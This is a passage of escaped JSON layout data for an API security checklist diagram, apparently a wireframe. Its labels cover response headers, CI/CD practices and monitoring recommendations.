\"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"196\",\n                    \"y\": \"1467\",\n                    \"properties\": {\n                        \"controlName\": \"check:no-sniff-header\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"109\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"109\",\n                    \"measuredW\": \"416\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"416\",\n                    \"h\": \"28\",\n                    \"x\": \"243\",\n                    \"y\": \"1469\",\n                    \"properties\": {\n                        \"controlName\": \"no-sniff-header\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"416\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Send `X-Content-Type-Options: nosniff` header\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"110\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"110\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"196\",\n                    \"y\": \"1508\",\n                    \"properties\": {\n                        \"controlName\": \"check:x-frame-options-deny\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"111\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"111\",\n                    \"measuredW\": \"341\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"341\",\n                    \"h\": \"28\",\n                    \"x\": \"243\",\n                    \"y\": \"1510\",\n                    \"properties\": {\n                        \"controlName\": \"x-frame-options-deny\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"341\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Send `X-Frame-Options: deny` header.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"112\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"112\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"196\",\n                    \"y\": \"1549\",\n                    \"properties\": {\n                        \"controlName\": \"check:csp-header\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"113\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"113\",\n                    \"measuredW\": \"511\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"511\",\n                    \"h\": \"28\",\n                    \"x\": \"243\",\n                    \"y\": \"1551\",\n                    \"properties\": {\n                        \"controlName\": \"csp-header\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"511\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Send `Content-Security-Policy: default-src 'none'` header.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"114\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"114\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"196\",\n                    \"y\": \"1590\",\n                    \"properties\": {\n                        \"controlName\": \"check:remove-fingerprint-header\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"115\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"115\",\n                    \"measuredW\": \"485\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"485\",\n                    \"h\": \"28\",\n                    \"x\": \"243\",\n                    \"y\": \"1592\",\n                    \"properties\": {\n                        \"controlName\": \"remove-fingerprint-header\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"485\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Remove fingerprinting headers (i.e. x-powered-by etc)\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"116\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"116\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"196\",\n                    \"y\": \"1631\",\n                    \"properties\": {\n                        \"controlName\": \"check:force-content-type\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"117\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"117\",\n                    \"measuredW\": \"345\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"345\",\n                    \"h\": \"28\",\n                    \"x\": \"243\",\n                    \"y\": \"1633\",\n                    \"properties\": {\n                        \"controlName\": \"force-content-type\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"345\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Force `content-type` for your response.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"118\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"118\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"196\",\n                    \"y\": \"1672\",\n                    \"properties\": {\n                        \"controlName\": \"check:avoid-sensitive-data\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"119\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"119\",\n                    \"measuredW\": \"531\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"531\",\n                    \"h\": \"28\",\n                    \"x\": \"243\",\n                    \"y\": \"1674\",\n                    \"properties\": {\n                        \"controlName\": \"avoid-sensitive-data\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"531\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Avoid returning sensitive data (credentials, sec. tokens etc)\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"120\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"120\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"196\",\n                    \"y\": \"1715\",\n                    \"properties\": {\n                        \"controlName\": \"check:proper-response-code\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"121\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"121\",\n                    \"measuredW\": \"467\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"467\",\n                    \"h\": \"28\",\n                    \"x\": \"243\",\n                    \"y\": \"1717\",\n                    \"properties\": {\n                        \"controlName\": \"proper-response-code\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"467\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Return proper response codes as per the operation\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"122\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"122\",\n                    \"w\": \"726\",\n                    \"h\": \"1\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"816\",\n                    \"y\": \"1503\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"p0\": {\n                            \"x\": -0.2686368305519409,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.5001077701859017,\n                            \"y\": 0.0003391382343339101\n                        },\n                        \"p2\": {\n                            \"x\": 725.5310311167375,\n                            \"y\": 0\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"123\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"123\",\n                    \"w\": \"252\",\n                    \"h\": \"50\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"1015\",\n                    \"y\": \"1478\",\n                    \"properties\": {\n                        \"color\": \"16776960\"\n                    }\n                },\n                {\n                    \"ID\": \"124\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"124\",\n                    \"measuredW\": \"74\",\n                    \"measuredH\": \"28\",\n                    \"x\": \"1104\",\n                    \"y\": \"1489\",\n                    \"properties\": {\n                        \"size\": \"20\",\n                        \"text\": \"CI & CD\"\n                    }\n                },\n                {\n                    \"ID\": \"125\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"125\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1562\",\n                    \"properties\": {\n                        \"controlName\": \"check:unit-integration-tests\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"126\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"126\",\n                    \"measuredW\": \"578\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"578\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1563\",\n                    \"properties\": {\n                        \"controlName\": \"unit-integration-tests\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"578\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Audit your design and implementation with unit/integration tests.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"127\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"127\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1601\",\n                    \"properties\": {\n                        \"controlName\": \"check:code-review-process\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"128\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"128\",\n                    \"measuredW\": \"503\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"503\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1602\",\n                    \"properties\": {\n                        \"controlName\": \"code-review-process\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"503\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use a code review process and disregard self-approval.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"129\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"129\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1641\",\n                    \"properties\": {\n                        \"controlName\": \"check:run-security-analysis\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"130\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"130\",\n                    \"measuredW\": \"432\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"432\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1643\",\n                    \"properties\": {\n                        \"controlName\": \"run-security-analysis\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"432\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \" Continuously run security analysis on your code.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"131\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"131\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1682\",\n                    \"properties\": {\n                        \"controlName\": \"check:check-dependencies\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"132\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"132\",\n                    \"measuredW\": \"461\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"461\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1684\",\n                    \"properties\": {\n                        \"controlName\": \"check-dependencies\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"461\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Check your dependencies for known vulnerabilities.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"133\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"133\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"861\",\n                    \"y\": \"1724\",\n                    \"properties\": {\n                        \"controlName\": \"check:rollback-deployments\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"134\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"134\",\n                    \"measuredW\": \"386\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"386\",\n                    \"h\": \"28\",\n                    \"x\": \"907\",\n                    \"y\": \"1726\",\n                    \"properties\": {\n                        \"controlName\": \"rollback-deployments\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"386\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Design a rollback solution for deployments.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"135\",\n                    \"typeID\": \"Arrow\",\n                    \"zOrder\": \"135\",\n                    \"w\": \"620\",\n                    \"h\": \"1\",\n                    \"measuredW\": \"150\",\n                    \"measuredH\": \"100\",\n                    \"x\": \"191\",\n                    \"y\": \"1814\",\n                    \"properties\": {\n                        \"curvature\": \"0\",\n                        \"leftArrow\": \"false\",\n                        \"rightArrow\": \"false\",\n                        \"color\": \"4273622\",\n                        \"p0\": {\n                            \"x\": 0.23125640404211367,\n                            \"y\": 0\n                        },\n                        \"p1\": {\n                            \"x\": 0.49994495226877456,\n                            \"y\": 0.0003335799224988863\n                        },\n                        \"p2\": {\n                            \"x\": 620.5,\n                            \"y\": 0\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"136\",\n                    \"typeID\": \"Canvas\",\n                    \"zOrder\": \"136\",\n                    \"w\": \"264\",\n                    \"h\": \"50\",\n                    \"measuredW\": \"100\",\n                    \"measuredH\": \"70\",\n                    \"x\": \"355\",\n                    \"y\": \"1789\",\n                    \"properties\": {\n                        \"color\": \"16776960\"\n                    }\n                },\n                {\n                    \"ID\": \"137\",\n                    \"typeID\": \"Label\",\n                    \"zOrder\": \"137\",\n                    \"measuredW\": \"97\",\n                    \"measuredH\": \"28\",\n                    \"x\": \"438\",\n                    \"y\": \"1800\",\n                    \"properties\": {\n                        \"size\": \"20\",\n                        \"text\": \"Monitoring\"\n                    }\n                },\n                {\n                    \"ID\": \"138\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"138\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"194\",\n                    \"y\": \"1871\",\n                    \"properties\": {\n                        \"controlName\": \"check:centralized-logins\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"139\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"139\",\n                    \"measuredW\": \"497\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"497\",\n                    \"h\": \"28\",\n                    \"x\": \"241\",\n                    \"y\": \"1873\",\n                    \"properties\": {\n                        \"controlName\": \"centralized-logins\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"497\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use centralized logins for all services and components.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"140\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"140\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"194\",\n                    \"y\": \"1912\",\n                    \"properties\": {\n                        \"controlName\": \"check:monitor-everything\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"141\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"141\",\n                    \"measuredW\": \"518\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"518\",\n                    \"h\": \"28\",\n                    \"x\": \"241\",\n                    \"y\": \"1914\",\n                    \"properties\": {\n                        \"controlName\": \"monitor-everything\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"518\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use agents to monitor all requests, responses and errors.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"142\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"142\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"194\",\n                    \"y\": \"1953\",\n                    \"properties\": {\n                        \"controlName\": \"check:set-alerts\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"143\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"143\",\n                    \"measuredW\": \"511\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"511\",\n                    \"h\": \"28\",\n                    \"x\": \"241\",\n                    \"y\": \"1955\",\n                    \"properties\": {\n                        \"controlName\": \"set-alerts\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"511\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Use alerts for SMS, Slack, Email, Kibana, Cloudwatch, etc.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"144\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"144\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"194\",\n                    \"y\": \"1994\",\n                    \"properties\": {\n                        \"controlName\": \"check:avoid-logging-sensitive-data\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"145\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"145\",\n                    \"measuredW\": \"438\",\n                    \"measuredH\": \"28\",\n                    \"w\": \"438\",\n                    \"h\": \"28\",\n                    \"x\": \"241\",\n                    \"y\": \"1996\",\n                    \"properties\": {\n                        \"controlName\": \"avoid-logging-sensitive-data\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"Label\",\n                                    \"zOrder\": \"0\",\n                                    \"measuredW\": \"438\",\n                                    \"measuredH\": \"28\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\",\n                                    \"properties\": {\n                                        \"size\": \"20\",\n                                        \"text\": \"Ensure that you aren't logging any sensitive data.\"\n                                    }\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"146\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": \"146\",\n                    \"measuredW\": \"30\",\n                    \"measuredH\": \"30\",\n                    \"w\": \"30\",\n                    \"h\": \"30\",\n                    \"x\": \"194\",\n                    \"y\": \"2035\",\n                    \"properties\": {\n                        \"controlName\": \"check:use-ids-ips-system\"\n                    },\n                    \"children\": {\n                        \"controls\": {\n                            \"control\": [\n                                {\n                                    \"ID\": \"0\",\n                                    \"typeID\": \"TextArea\",\n                                    \"zOrder\": \"0\",\n                                    \"w\": \"30\",\n                                    \"h\": \"30\",\n                                    \"measuredW\": \"200\",\n                                    \"measuredH\": \"140\",\n                                    \"x\": \"0\",\n                                    \"y\": \"0\"\n                                }\n                            ]\n                        }\n                    }\n                },\n                {\n                    \"ID\": \"147\",\n                    \"typeID\": \"__group__\",\n                    \"zOrder\": 